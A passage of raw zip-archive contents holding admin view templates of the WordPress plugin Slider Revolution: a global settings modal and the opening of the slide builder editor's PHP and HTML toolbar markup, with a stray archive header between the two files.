					--><div class="modal_fields_title" style="width:200px;"><?php _e('Font CSS URL', 'revslider');?></div><!--
					--><div class="modal_fields_title" style="width:200px;"><?php _e('Available Font Weights', 'revslider');?></div><!--
					--><div class="modal_fields_title" style="width:75px;margin-left:10px;"><?php _e('Front End', 'revslider');?></div><!--
					--><div class="modal_fields_title" style="width:75px;"><?php _e('in Editor', 'revslider');?></div>					
					<div id="global_custom_fonts" style="margin-bottom:10px">
					</div>	
					<div id="add_new_custom_font" class="basic_action_button autosize rightbutton"><i class="material-icons">add</i><?php _e('Add Custom Font', 'revslider');?></div>				
				</div>
			</div>
		</div>
	</div>
</div>

<!--GLOBAL SETTINGS MODAL-->
<div class="_TPRB_ rb-modal-wrapper" data-modal="rbm_globalsettings">
	<div class="rb-modal-inner">
		<div class="rb-modal-content">
			<div id="rbm_globalsettings" class="rb_modal form_inner">
				<div class="rbm_header"><i class="rbm_symbol material-icons">settings</i><span class="rbm_title"><?php _e('Global Settings', 'revslider');?></span><i class="rbm_close material-icons">close</i></div>
				<div class="rbm_content"><!--
					--><div class="rbm_general_half" style="padding-right:20px;">
						<div class="ale_i_title"><?php _e('General', 'revslider');?></div>
						<hr class="general_hr">
						<label_a><?php _e('Permission', 'revslider');?></label_a><select id="role" name="role" data-theme="inmodal" class="globalinput easyinit nosearchbox tos2" data-r="globals.permission">
										<option selected="selected" value="admin"><?php _e('To Admin', 'revslider');?></option>
										<option value="editor"><?php _e('To Editor, Admin', 'revslider');?></option>
										<option value="author"><?php _e('Author, Editor, Admin', 'revslider');?></option>
									</select><span class="linebreak"></span>						
						<label_a><?php _e('Language', 'revslider');?></label_a><select id="plugin_lang" name="plugin_lang" data-theme="inmodal" class="globalinput easyinit nosearchbox tos2" data-r="globals.lang">
										<option selected="selected" value="default"><?php _e('Default', 'revslider');?></option>
										<?php
										if(isset($rs_languages) && !empty($rs_languages)){
											foreach($rs_languages as $rs_l => $rs_n){
												echo '<option value="'.$rs_l.'">'.$rs_n.'</option>';
											}
										}
										?>
									</select><span class="linebreak"></span>
						<label_a><?php _e('Include libraries globally', 'revslider');?></label_a><input type="checkbox" class="easyinit globalinput" data-r="globals.allinclude"><span class="linebreak"></span>
						<label_a><?php _e('List of pages to include RevSlider libraries ', 'revslider');?></label_a><input type="text" data-r="globals.includeids" class="easyinit globalinput" placeholder="<?php _e('(ie. Example 2,homepage,5)', 'revslider');?>"><span class="linebreak"></span>
						<label_a><?php _e('Cross-origin image defaults', 'revslider');?><a href="https://www.themepunch.com/faq/cors/" style="margin-left:10px;" target="_blank" rel="noopener"><i style="font-size:15px" class="material-icons">help</i></a></label_a><select id="crossorigin" name="crossorigin" data-theme="inmodal" class="globalinput easyinit nosearchbox tos2" data-r="globals.imgcrossOrigin">
										<option selected="selected" value="unset"><?php _e('Unset','revslider');?></option>
										<option value="anonymous"><?php _e('Anonymous', 'revslider');?></option>
										<option value="use-credentials"><?php _e('Use Credentials', 'revslider');?></option>
									</select><span class="linebreak"></span>
						<div class="div25"></div>
						<div class="ale_i_title"><?php _e('Page Loading Optimization', 'revslider');?></div>
						<hr class="general_hr">
						<label_a><?php _e('Insert scripts in footer', 'revslider');?></label_a><input type="checkbox" class="easyinit globalinput" data-r="globals.script.footer"><span class="linebreak"></span>
						<label_a><?php _e('Defer JavaScript loading', 'revslider');?></label_a><input type="checkbox" class="easyinit globalinput" data-r="globals.script.defer"><span class="linebreak"></span>
						<label_a><?php _e('Load Files asynchronously', 'revslider');?></label_a><input type="checkbox" class="easyinit globalinput" data-r="globals.script.async"><span class="linebreak"></span>
						<label_a><?php _e('Load YouTube API early', 'revslider');?></label_a><input type="checkbox" class="easyinit globalinput" data-r="globals.script.ytapi"><span class="linebreak"></span>
												
						
						<div class="div25"></div>
						<div class="ale_i_title"><?php _e('Fonts', 'revslider');?></div>
						<hr class="general_hr">
						<label_a><?php _e('Enable custom font selection in editor', 'revslider');?></label_a><div id="rs_gl_custom_fonts" class="basic_action_button autosize"><i class="material-icons">font_download</i><?php _e('Edit Custom Fonts', 'revslider');?></div>
						<label_a><?php _e('Disable SR Font Awesome library', 'revslider');?></label_a><input type="checkbox" class="easyinit globalinput" data-r="globals.fontawesomedisable"><span class="linebreak"></span>					
						<div class="div25"></div>						
						<label_a><?php _e('Enable Google Fonts download', 'revslider');?></label_a><select id="fontdownload" name="fontdownload" data-theme="inmodal" class="globalinput easyinit nosearchbox tos2" data-r="globals.fontdownload">
										<option selected="selected" value="off"><?php _e('Load from Google','revslider');?></option>
										<option value="preload"><?php _e('Cache Fonts Local', 'revslider');?></option>
										<option value="disable"><?php _e('Disable, Load on your own', 'revslider');?></option>
									</select><span class="linebreak"></span>
						<label_a><?php _e('Optional Google Fonts loading URL', 'revslider');?></label_a><input type="text" class="easyinit globalinput" data-r="globals.fonturl" placeholder="<?php _e('(ie. http://fonts.useso.com/css?family for chinese Environment)', 'revslider');?>"><span class="linebreak"></span>
						<label_a></label_a><div id="rs_trigger_font_deletion" class="basic_action_button autosize"><i class="material-icons">build</i><?php _e('Update Preload Fonts', 'revslider'); ?></div>
					</div><!--
					--><div class="rbm_general_half" style="padding-left:20px;">
						<div class="ale_i_title"><?php _e('Default Layout Grid Breakpoints', 'revslider');?></div>
						<hr class="general_hr">
						<label_a><?php _e('Default desktop content width', 'revslider');?></label_a><input type="text" class="easyinit globalinput" data-numeric="true" data-allowed="px" data-min="0" data-max="2400" data-r="globals.size.desktop"><span class="linebreak"></span>
						<label_a><?php _e('Default notebook content width', 'revslider');?></label_a><input type="text" class="easyinit globalinput" data-numeric="true" data-allowed="px" data-min="0" data-max="2400" data-r="globals.size.notebook"><span class="linebreak"></span>
						<label_a><?php _e('Default tablet content width', 'revslider');?></label_a><input type="text" class="easyinit globalinput" data-numeric="true" data-allowed="px" data-min="0" data-max="2400" data-r="globals.size.tablet"><span class="linebreak"></span>
						<label_a><?php _e('Default mobile content width', 'revslider');?></label_a><input type="text" class="easyinit globalinput" data-numeric="true" data-allowed="px" data-min="0" data-max="2400" data-r="globals.size.mobile"><span class="linebreak"></span>		
						<div class="div25"></div>
						<div class="ale_i_title"><?php _e('Modules Optimization', 'revslider');?></div>
						<hr class="general_hr">
						<label_a><?php _e('Force 1xDPR on mobile', 'revslider');?></label_a><input type="checkbox" class="easyinit globalinput" data-r="globals.onedpronmobile"><span class="linebreak"></span>
						<label_a><?php _e('Force viewport loading', 'revslider');?></label_a><select data-showprio="show" data-show=".show_forceViewport_*val*" data-hide=".hide_forceViewport" id="forceViewport" name="forceViewport" data-theme="inmodal" class="globalinput easyinit nosearchbox tos2" data-r="globals.forceViewport">
										<option value="true"><?php _e("On", 'revslider');?></option><option value="false"><?php _e("Off", 'revslider');?></option><option value="none"><?php _e("No Change", 'revslider');?></option>
									</select><span class="linebreak"></span>
						<div class="show_forceViewport_true hide_forceViewport"><label_a><?php _e('ViewPort Distance if Forced', 'revslider');?></label_a><input type="text" class="easyinit globalinput" data-numeric="true" data-allowed="px,%" data-min="-1500" data-max="1500" data-r="globals.forcedViewportDistance"></div>
						<label_a><?php _e('Default lazy loading in modules', 'revslider');?></label_a><select id="overwritelazyloading" name="overwritelazyloading" data-theme="inmodal" class="globalinput easyinit nosearchbox tos2" data-r="globals.forceLazyLoading">
										<option value="all"><?php _e("All", 'revslider');?></option><option value="smart"><?php _e("Smart", 'revslider');?></option><option value="single"><?php _e("Single", 'revslider');?></option><option value="none"><?php _e("No Change", 'revslider');?></option>
									</select><span class="linebreak"></span>
						<label_a><?php _e('Lazy Load on BG Images', 'revslider');?></label_a><input type="checkbox" class="easyinit globalinput" data-r="globals.lazyonbg"><span class="linebreak"></span>
						<label_a><?php _e('Third-party lazy loading data', 'revslider');?></label_a><input type="text" class="easyinit globalinput"  data-r="globals.lazyloaddata" placeholder="<?php _e('(i.e. lazy-src for WP Rocket)', 'revslider'); ?>"><span class="linebreak"></span>
						<label_a><?php _e('Use internal caching', 'revslider');?></label_a><input type="checkbox" class="easyinit globalinput" data-r="globals.internalcaching"><span class="linebreak"></span>
						<label_a></label_a><div id="rs_force_clear_cache" class="basic_action_button autosize"><i class="material-icons">build</i><?php _e('Clear Cache', 'revslider'); ?></div>
						<div class="div25"></div>
						<div class="ale_i_title"><?php _e('Miscellaneous', 'revslider');?></div>
						<hr class="general_hr">						
						<label_a><?php _e('Fix RevSlider table issues', 'revslider');?></label_a><div id="rs_db_force_create" class="basic_action_button autosize"><i class="material-icons">build</i><?php _e('Force RS DB Creation', 'revslider');?></div>						
						<label_a><?php _e('Editor high contrast mode', 'revslider');?></label_a><input type="checkbox" class="easyinit globalinput callEvent" data-evt="highContrast" data-r="globals.highContrast"><span class="linebreak"></span>

						
						
						
						<!--<input type="text" class="easyinit globalinput" data-r="globals.customfonts" placeholder="<?php _e('font-family, font-family, ...', 'revslider');?>"><span class="linebreak"></span>-->
						<!--<div id="general_custom_fonts_list"></div>
						<label_a></label_a><div class="basic_action_button onlyicon" id="add_custom_global_fonts"><i class="material-icons">add</i></div>		-->
					</div>
				</div>	
				
				<div id="rbm_globalsettings_savebtn"><i class="material-icons mr10">save</i><span class="rbm_cp_save_text"><?php _e('Save Global Settings', 'revslider');?></span></div>
			</div>
		</div>
	</div>
</div>
PK�y3\�����i�iviews/builder.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */

if(!defined('ABSPATH')) exit();

$rs_data = new RevSliderData();
$rs_f = RevSliderGlobals::instance()->get('RevSliderFunctions');
$slider = new RevSliderSlider();
$slide = new RevSliderSlide();
$rs_nav = new RevSliderNavigation();
$wpml = new RevSliderWpml();
$rs_favorite = RevSliderGlobals::instance()->get('RevSliderFavorite');

$slide_id = RevSliderFunctions::esc_attr_deep($rs_f->get_get_var('id'));
$slide_alias = RevSliderFunctions::esc_attr_deep($rs_f->get_get_var('alias'));

//GoogleFontFamilies
$font_familys = $rs_f->get_font_familys();

$json_font_familys = $rs_f->json_encode_client_side($font_familys);

//get Navigation Styles 
$arr_navigations = $rs_nav->get_all_navigations_builder();

//get Layer Animations
$animationsRaw = $this->get_layer_animations(true);

//get Image Sizes
$img_sizes = $rs_f->get_all_image_sizes();

//get transitions
$rs_base_transitions = $rs_f->get_base_transitions();
$rs_custom_transitions = $rs_f->get_custom_slidetransitions();														  
$rs_favorite_transitions = $rs_favorite->get_favorite('slide_transitions');

require_once(RS_PLUGIN_PATH . 'admin/views/modals-copyright.php');

?>

<div id="wp_overlay"></div>
<!-- This file should primarily consist of HTML with a little bit of PHP. -->
<div id="builderView" class="_TPRB_">

	<!-- REVOLUTION BUILDER TOP LEVEL WRAPPER -->
	<div id="rb_tlw">

		<!-- DISPLAY SIZE SELECTOR (UNVISIBLE SELECTOR; NEED TO EXIST IN DOM-->
		<select id="screenselector" style="display:none;">
			<option value="d"><?php _e('Desktop', 'revslider');?></option>
			<option value="n"><?php _e('Notebook', 'revslider');?></option>
			<option value="t"><?php _e('Tablet', 'revslider');?></option>
			<option value="m"><?php _e('Mobile', 'revslider');?></option>
		</select>

		<?php
		require_once(RS_PLUGIN_PATH . 'admin/views/modals-general.php');
		require_once(RS_PLUGIN_PATH . 'admin/views/builder-slider-forms.php');
		require_once(RS_PLUGIN_PATH . 'admin/views/builder-nav-forms.php');
		require_once(RS_PLUGIN_PATH . 'admin/views/builder-slide-forms.php');
		require_once(RS_PLUGIN_PATH . 'admin/views/builder-layer-forms.php');
		
		require_once(RS_PLUGIN_PATH . 'admin/views/modals-builder.php');
		require_once(RS_PLUGIN_PATH . 'admin/views/modals-copyright.php');
		?>

		<div id="glob_slide_selector_header" style="display:none">
			<div class="gb_st_header">
				<div class="gb_st_header_title"><?php _e('Slides', 'revslider');?></div>
			</div>
		</div>

		<div id="the_container">
			<!--THIS IS THE MAIN LEFT TOOLBAR-->			
			<div id="the_editor">
				<!--- MAIN HORIZONTAL TOOLBAR CONTAINER -->
				<div id="main_hor_toolbar">
					<div id="rb_editor_logo"><span class="ab-icon"></span><div id="rb_the_logo"></div></div><!--
					--><div id="_layer_settings" class="mht_inner">
						<div id="back_to_overview" class="toolbar_btn"><i class="material-icons">view_module</i><span class="toolbar_btn_txt"><?php _e('Back', 'revslider');?></span></div><!--
						--><div id="add_slide_toolbar_wrap" class="toolbar_btn tool_drop"><i class="material-icons">burst_mode</i><span class="toolbar_btn_txt"><?php _e('Slides', 'revslider');?></span>
							<div class="tool_dd_wrap" id="slide_picker_wrap">
								<div class="toolbar_dd_subdrop_wrap">
									<div id="newslide" class="slide_list_element"><div class="sle_description"><i class="material-icons">add</i><?php _e('Add Slide(s)', 'revslider');?></div></div>
									<div class="toolbar_dd_subdrop">
										<div id="add_blank_slide" class="add_slide" data-type="text"><i class="material-icons">crop_square</i><?php _e('Blank slide', 'revslider');?></div>
										<div id="add_bulk_slide" class="add_slide getImageFromMediaLibrary" data-multiple="true" data-evt="addBulkSlides" data-type="text"><i class="material-icons">apps</i><?php _e('Bulk Slide', 'revslider');?></div>
										<div id="add_module_slide" class="add_slide" data-type="text"><i class="material-icons">redo</i><?php _e('Import from Modules', 'revslider');?></div>
										<div id="add_template_slide" class="add_slide" data-type="text"><i class="material-icons">folder</i><?php _e('Import from Template', 'revslider');?></div>
									</div>
								</div>
								<div id="slide_thumb_repeater"></div>
								<ul id="slidelist">
									<div class="tp-clearfix"></div>
								</ul>
							</div>
						</div><!--
						--><div id="add_layer_toolbar_wrap" class="toolbar_btn tool_drop"><i class="material-icons">library_add</i><span class="toolbar_btn_txt"><?php _e('Add Layer', 'revslider');?></span>
							<div class="tool_dd_wrap" id="add_layer_main_wrap">
								<div id="toolbar_add_layer_text" class="toolbar_dd_subdrop_wrap">
									<div class="add_layer" data-type="text"><i class="material-icons">title</i><?php _e('Text', 'revslider');?></div>
									<div class="toolbar_dd_subdrop">
										<div class="add_layer" data-type="text" data-subtype="headline"><i class="material-icons">font_download</i><?php _e('Quick Style Headline', 'revslider');?></div>
										<div class="add_layer" data-type="text" data-subtype="simple_content"><i class="material-icons">title</i><?php _e('Quick Style Content', 'revslider');?></div>
									</div>
								</div>
								<div id="toolbar_add_layer_image" class="toolbar_dd_subdrop_wrap">
									<div class="add_layer" data-type="image"><i class="material-icons">filter_hdr</i><?php _e('Image', 'revslider');?></div>
									<div class="toolbar_dd_subdrop">
										<div class="add_layer" data-type="image" data-subtype="wordpress_library"><i class="material-icons">system_update_alt</i><?php _e('WordPress Library', 'revslider');?></div>
										<div class="add_layer" data-type="image" data-subtype="object_library"><i class="material-icons">style</i><?php _e('Object Library', 'revslider');?></div>
										<div class="add_layer" data-type="image"><i class="material-icons">flip_to_back</i><?php _e('Empty Placeholder', 'revslider');?></div>
									</div>
								</div>
								<div id="toolbar_add_layer_button" class="add_layer" data-type="button" data-subtype="button"><i class="material-icons">radio_button_checked</i><?php _e('Button', 'revslider');?></div>
								<div id="toolbar_add_layer_shape" class="add_layer" data-type="shape"><i class="material-icons">crop_landscape</i><?php _e('Shape', 'revslider');?></div>
								<div id="toolbar_add_layer_video" class="toolbar_dd_subdrop_wrap">
									<div class="add_layer" data-type="video"><i class="material-icons">live_tv</i><?php _e('Video', 'revslider');?></div>
									<div class="toolbar_dd_subdrop">
										<div class="add_layer" data-type="video" data-subtype="wordpress_library"><i class="material-icons">system_update_alt</i><?php _e('WordPress Library', 'revslider');?></div>
										<div class="add_layer" data-type="video" data-subtype="object_library"><i class="material-icons">style</i><?php _e('Object Library', 'revslider');?></div>
										<div class="add_layer" data-type="video"><i class="material-icons">flip_to_back</i><?php _e('Empty Placeholder', 'revslider');?></div>
									</div>
								</div>
								<div id="toolbar_add_layer_audio" class="add_layer" data-type="audio"><i class="material-icons">audiotrack</i><?php _e('Audio', 'revslider');?></div>
								<div id="toolbar_add_layer_object" class="add_layer" data-type="object" data-subtype="object_library"><i class="material-icons">filter_drama</i><?php _e('Icon / SVG', 'revslider');?></div>
								<div id="toolbar_add_layer_row" class="add_layer" data-type="row"><i class="material-icons">reorder</i><?php _e('Row', 'revslider');?></div>
								<div id="toolbar_add_layer_group" class="add_layer" data-type="group"><i class="material-icons">format_shapes</i><?php _e('Group', 'revslider');?></div>
								<div id="add_from_layerlibrary" class="add_layer"><i class="material-icons">library_books</i><?php _e('Layer Library', 'revslider');?></div>
								<div id="import_layers" class="add_layer"><i class="material-icons">redo</i><?php _e('Import Layer', 'revslider');?></div>
							</div>
						</div>
					</div><!--
					--><div class="layertoolbar_wrap mht_inner layer_settings_collector">
						<div id="layer_rescaler"><div id="lresc_path"><div id="lresc_pin"></div></div></div>
						<div id="do_title_layer"><i id="selected_layers_icon_toolbar" class="material-icons do_title_layer_icon">do_not_disturb_alt</i><input data-multiplaceholder="<?php _e('Multiple Selection', 'revslider');?>" data-r="alias" class="easyinit layerinput" id="updateLayerSingleAliasInput" data-evt="updateLayerAliasFromSingleInput" type="text" /></div><!--
						--><div id="do_title_layer_not_selected"><i class="material-icons do_title_layer_icon">do_not_disturb_alt</i><?php _e('No Layers Selected', 'revslider');?></div><!--
						--><div id="duplicate_btn_icon" class="toolbar_btn justicon tool_drop">
							<div class="selected_placeholder"><i class="norightmargin material-icons">content_copy</i></div>
							<div id="duplicate_layer_list" class="tool_dd_wrap outicon_dd_rwap">
								<div id="do_duplicate_layer" class="toolbar_listelement"><i class="material-icons">content_copy</i><?php _e('Duplicate', 'revslider');?><span class="shortcuttext"><span class="shortcut_cmdctrl">ctrl</span>J</span></div>
								<div id="do_copy_layer" class="toolbar_listelement"><i class="material-icons">content_paste</i><?php _e('Copy', 'revslider');?><span class="shortcuttext"><span class="shortcut_cmdctrl">ctrl</span>C</span></div>
								<div id="do_paste_layer" class="toolbar_listelement disabled"><i class="material-icons">file_download</i><?php _e('Paste', 'revslider');?><span class="shortcuttext"><span class="shortcut_cmdctrl">ctrl</span>V</span></div>
							</div>
						</div><!--
						--><div id="do_delete_layer" class="toolbar_btn justicon"><i class="norightmargin material-icons">delete</i></div><!--
						--><div id="do_lock_layer" class="toolbar_btn justicon tool_drop">
							<div id="layer_lock_iconswitch" class="icon_switcher" data-ref="#layer_Lock"><i class="material-icons icon_state_off">lock_open</i><i class="material-icons icon_state_on">lock_outline</i><input class="easyinit layerinput callEvent" id="layer_Lock" data-updateviaevt="true" data-evt="lockLayer" data-setclasson="layer_lock_iconswitch" data-class="icsw_on" type="checkbox" data-r="visibility.lock"></div>
							<div id="locked_layers_list" class="tool_dd_wrap outicon_dd_rwap">
								<div id="toggle_lock_layer" class="lockstep_main"><i class="material-icons">radio_button_checked</i><?php _e('Lock/Unlock Selected', 'revslider');?></div>
								<div id="unlock_all_layer" class="lockstep_main"><i class="material-icons">lock_open</i><?php _e('Unlock All', 'revslider');?></div>
							</div>
						</div><!--
						--><div id="do_show_layer" class="toolbar_btn justicon">
							<div id="layer_visibility_iconswitch" class="norightmargin icon_switcher icsw_on" data-ref="#layer_Visibility"><i class="material-icons icon_state_off">visibility_off</i><i class="material-icons icon_state_on">visibility</i><input class="easyinit layerinput callEvent" id="layer_Visibility" data-updateviaevt="true" data-evt="showHideLayer" data-setclasson="layer_visibility_iconswitch" data-class="icsw_on" type="checkbox" checked="checked" data-default="true" data-r="visibility.visible" ></div>
							<div id="unvisible_layers_list" class="tool_dd_wrap outicon_dd_rwap">
								<div id="hide_highlight_boxes" class="visiblestep_main"><i class="hhb_a material-icons">border_all</i><i class="hhb_b material-icons">border_clear</i><span class="hhb_a"><?php _e('Hide Highlight Boxes', 'revslider');?></span><span class="hhb_b"><?php _e('Show Highlight Boxes', 'revslider');?></span></div>
								<div id="toggle_visible_layer" class="visiblestep_main"><i class="material-icons">radio_button_checked</i><?php _e('Show/Hide Selected', 'revslider');?></div>
								<div id="visible_all_layer" class="visiblestep_main"><i class="material-icons">visibility</i><?php _e('Set All Visible', 'revslider');?></div>
							</div>
						</div><!--
						--><div id="do_background_layer" class="norightmargin toolbar_btn justicon"><i class="material-icons">arrow_drop_down</i></div><!--
						--><div id="do_foreground_layer" class="norightmargin toolbar_btn justicon"><i class="material-icons">arrow_drop_up</i></div>
					</div><!--
					--><div class="layertoolbar_wrap mht_inner slide_settings_collector">
						<div id="do_title_slide"><i class="material-icons do_title_slide_icon">burst_mode</i><input id="slide_title_field" data-r="title" class="easyinit slideinput callEvent" data-evt="updateSlideNameInList" type="text" /></div><!--
						--><div id="do_edit_slidename" class="toolbar_btn justicon"><i class="norightmargin material-icons">edit</i></div><!--
						--><div id="do_duplicate_slide" class="toolbar_btn justicon"><i class="norightmargin material-icons">content_copy</i></div><!--
						--><div id="do_delete_slide" class="toolbar_btn justicon"><i class="norightmargin material-icons">delete</i></div><!--
					--></div><!--
					--><div style="padding-left:0px" class="layertoolbar_wrap mht_inner slider_general_collector"><!--
						--><div id="current_sel_display" class="selected_placeholder"><i id="screen_selector_ph_icon_sr" class="toptoolbaricon material-icons">desktop_windows</i></div><!--
						--><div id="current_width_height"><i class="material-icons rotateleft">unfold_more</i><span id="show_c_width">1920px</span><i class="material-icons">unfold_more</i><span id="show_c_height">1920px</span></div><!--
					--></div>
					<div id="right_top_toolbar_wrap" class="toolbar_rightoriented"><!--
						--><div id="zoomer_wrap_toolbar" class="zoomer_wrap toolbar_selector_icons">
							<div class="selected_placeholder"><i id="zoomer_icon" style="font-size: 17px;margin-top: -2px;"class="toptoolbaricon material-icons">search</i><div id="zoomer_factor">100%</div></div>
							<div class="tool_dd_wrap"><!--
								--><div id="ezoomer_wrap">
									
									<div id="ezoomer">
										<div id="ezoomer_pin"></div>
										<div class="ezzomer_marks" style="left:0px"></div>
										<div class="ezzomer_marks" style="left:50px"></div>
										<div class="ezzomer_marks" style="left:100px"></div>
										<div class="ezzomer_marks" style="left:150px"></div>
										<div class="ezzomer_marks" style="left:200px"></div>									
									</div>
									
								</div><!--
							--></div>
						</div><!--
						--><div class="drawselector_wrap toolbar_selector_icons" id="toolkit_selector_wrap">
							<div class="selected_placeholder"><i id="toolkit_selector_ph_icon" class="toptoolbaricon material-icons mirrorhorizontal">near_me</i><i id="toolkit_selector_ph_icon_sub" class="material-icons near_me_addon"></i></div>
							<div class="tool_dd_wrap">
								<div class="toolkit_selector callEvent selected" id="select_by_cursor" data-toolkiticon="near_me" data-toolkiticonsub=" " data-evt="cursorselection"><i class="material-icons mirrorhorizontal">near_me</i><?php _e('Single Select', 'revslider');?></div>
								<div class="toolkit_selector callEvent" id="select_by_cursor_add" data-toolkiticon="near_me" data-toolkiticonsub="add" data-evt="cursorselectionadd"><i class="material-icons mirrorhorizontal">near_me</i><i class="material-icons near_me_addon">add</i><?php _e('Add to Selection', 'revslider');?><span class="shortcuttext"><span class="shortcut_cmdctrl">ctrl</span></span></div>
								<div class="toolkit_selector callEvent" id="select_by_draw" data-toolkiticon="flip_to_back" data-toolkiticonsub=" " data-evt="squareselection"><i class="material-icons">flip_to_back</i><?php _e('Drag to Select', 'revslider');?><span class="shortcuttext">shift</span></div>
							</div>
						</div><!--
						--><div class="undo_redo_wrap toolbar_selector_icons">
							<div class="selected_placeholder"><i id="undo_redo_wrap" class="toptoolbaricon material-icons">replay</i>
								<div class="tool_dd_wrap">
									<div id="undo" class="toolbar_listelement"><i class="material-icons">undo</i>Undo<span class="shortcuttext"><span class="shortcut_cmdctrl">ctrl</span>Z</span></div>
									<div id="redo" class="toolbar_listelement"><i class="material-icons">redo</i>Redo<span class="shortcuttext"><span class="shortcut_cmdctrl">ctrl</span>Y</span></div>
									<div id="undoredowrap">
										<div id="noactiondone_undo" class="toolbar_listelement"><i class="material-icons">exit_to_app</i><?php _e('Open Document', 'revslider');?></div>
										<ul id="undolist">
										</ul>
										<ul id="redolist"></ul>
									</div>
								</div>
							</div>
						</div><!--
						--><div class="toolbar_selector_icons" id="main_screenselector">
							<div class="selected_placeholder"><i id="screen_selector_ph_icon" class="toptoolbaricon material-icons">desktop_windows</i><span class="highlight_arrow"></span></div>
							<div id="screen_selector_top_list" class="tool_dd_wrap">
								<div id="screen_selecotr_ss_d" class="screen_selector ss_d selected callEvent" data-evt="screenSelectorChanged"  data-screenicon="desktop_windows" data-triggerinp="#screenselector" data-triggerinpval="d"><i class="material-icons">desktop_windows</i><?php _e('Desktop', 'revslider');?></div>
								<div id="screen_selecotr_ss_n" class="screen_selector ss_n callEvent" data-evt="screenSelectorChanged"  data-screenicon="laptop" data-triggerinp="#screenselector" data-triggerinpval="n"><i class="material-icons">laptop</i><?php _e('Notebook', 'revslider');?><input type="checkbox" id="sr_custom_n_opt" class="sliderinput easyinit" data-evt="device_area_availibity" data-r="size.custom.n"></div>
								<div id="screen_selecotr_ss_t" class="screen_selector ss_t callEvent" data-evt="screenSelectorChanged"  data-screenicon="tablet_mac" data-triggerinp="#screenselector" data-triggerinpval="t"><i class="material-icons">tablet_mac</i><?php _e('Tablet', 'revslider');?><input type="checkbox" id="sr_custom_t_opt" class="sliderinput easyinit" data-evt="device_area_availibity" data-r="size.custom.t"></div>
								<div id="screen_selecotr_ss_m" class="screen_selector ss_m no_rm callEvent" data-evt="screenSelectorChanged"  data-screenicon="phone_android" data-triggerinp="#screenselector" data-triggerinpval="m"><i class="material-icons">phone_android</i><?php _e('Mobile', 'revslider');?><input type="checkbox" id="sr_custom_m_opt" class="sliderinput easyinit" data-evt="device_area_availibity" data-r="size.custom.m"></div>
							</div>
						</div><!--
						--><div class="toolbar_btn help_wrap"><i class="toptoolbaricon material-icons">help_outline</i></div><!--<div class="toolbar_btn tooltip_wrap"><i class="toptoolbaricon material-icons">comment</i></div>--><!--
					--></div>
				</div><!-- END OF MAIN HORIZONTAL TOOLBAR -->
				<div id="rev_builder_wrapper">
					<!-- HORIZONTAL AND VERTICAL RULERS -->
					<div id="ruler_hor_marker"></div>
					<div id="ruler_ver_marker"></div>
					<div id="ruler_top"><canvas id="ruler_top_offset"></canvas></div>
					<div id="ruler_left"><canvas id="ruler_left_offset"></canvas></div>
					<div id="ruler_left_top_cover"></div>
					<!-- REV BUILDER CONTAINER -->
					<div id="rev_builder">
						<div id="rev_builder_inner">
							<div id="rev_slider_inbuild">

								<!-- SLIDER "UL" -->
								<div id="rev_slider_ul" data-multiplemark="false" data-forms='["#form_sliderlayout"]'>
									<canvas id="gridcanvas"></canvas>
									<div id="rev_slider_ul_inner">

										<!-- SLIDER OVERLAY -->
										<rs-dotted id="slider_overlay" class="twoxtwowhite"></rs-dotted>

										<!-- LAYOUT SLIDE ELEMENT -->
										<div class="slideelement" id="layout_slide">
											<div id="layer_grid" class="" data-multiplemark="false" data-forms='["#form_sliderlayout:#sr_fsl_l1_1"]' data-updateruler="layergrid">
											</div>
										</div><!-- END OF LAYOUT SLIDE ELEMENT -->

										<!-- TEMPLATE FOR SLIDE LI's -->
										<div class="slide_li aable markable" data-multiplemark="false" data-updateruler="layergrid" id="slide_li_template">											
											<div class="layer_grid" data-updateruler="layergrid"><div class="lg_topborder"></div><div class="lg_bottomborder"></div><div class="lg_leftborder"></div><div class="lg_rightborder"></div><div class="row_wrapper_top"></div><div class="row_wrapper_middle"></div><div class="row_wrapper_bottom"></div></div>
										</div><!-- END OF TEMPLATE FOR SLIDE LI's -->

										<!-- CAROUSEL FAKES FOR SHOWING BETTER THE RESULT OF CAROUSEL LAYOUTS-->
											<div id="fake_carousel_elements"></div>
										<!-- END OF CAROUSEL FAKES -->

										<!-- PROGRESS BAR -->
										<div id="rev_progress_bar_wrap" class="aable markable" data-multiplemark="false" data-collapse="true" data-forms='["*navlayout*#orm_nav_pbara"]'></div><!-- END OF PROGRESS BAR-->

										<!-- NAVIGATION ARROWS -->
										<div id="tp-rightarrow" class="aable markable tp-rightarrow tparrows" data-collapse="true" data-forms='["*navlayout*#form_nav_arrows"]'></div>
										<div id="tp-leftarrow" class="aable markable tp-leftarrow tparrows" data-collapse="true" data-forms='["*navlayout*#form_nav_arrows"]'></div>
										<!-- END OF NAVGATION ARROWS-->

										<!-- NAVIGATION BULLETS -->
										<div id="tp-bullets" class="aable markable tp-bullets" data-collapse="true" data-forms='["*navlayout*#form_nav_bullets"]'></div>
										<!-- END OF NAVIGATION BULLETS-->

										<!-- NAVIGATION TABS -->
										<div id="tp-tabs" class="aable markable tp-tabs" data-collapse="true" data-forms='["*navlayout*#form_nav_tabs"]'>
											<div id="tp-tabs-mask" class="tp-tabs-mask">
												<div id="tp-tabs-inner-wrapper" class="tp-tabs-inner-wrapper"></div>
											</div>
										</div>
										<!-- END OF NAVIGATION TABS-->

										<!-- NAVIGATION THUMBS -->
										<div id="tp-thumbs" class="aable markable tp-thumbs" data-collapse="true" data-forms='["*navlayout*#form_nav_thumbs"]'>
											<div id="tp-thumbs-mask" class="tp-thumbs-mask">
												<div id="tp-thumbs-inner-wrapper" class="tp-thumbs-inner-wrapper"></div>
											</div>
										</div>
										<!-- END OF NAVIGATION THUMBS-->

										<!-- DROP SENSOR -->
										<div id="dropSensor"></div>

									</div><!-- END OF INNER UL WRAPPER -->

								</div><!-- END OF SLIDER "UL" -->
							</div><!-- END OF REV_SLIDER -->
						</div><!-- END OF REV_BUILDER_INNER-->
					</div><!-- END OF REV_BUILDER -->
				</div><!-- END OF REV BUILDER WRAPPER-->
			</div><!-- END OF THE EDITOR-->

			<!-- THIS IS THE MAIN RIGHT TOOLBAR IF WITH RIGHT TOOLBAR SET -->
			<div id="the_right_toolbar">
				<div id="the_right_toolbar_inner">
					<div class="main_mode_selector opensettingstrigger" data-forms='["*sliderlayout*"]' data-collapse="false" id="module_settings_trigger"><i class=" material-icons">settings</i></div>
					<div class="main_mode_selector opensettingstrigger herodisable carouselenable standardenable" data-forms='["*navlayout*"]' data-collapse="true" id="module_navigation_trigger"><i class=" material-icons">gamepad</i></div>
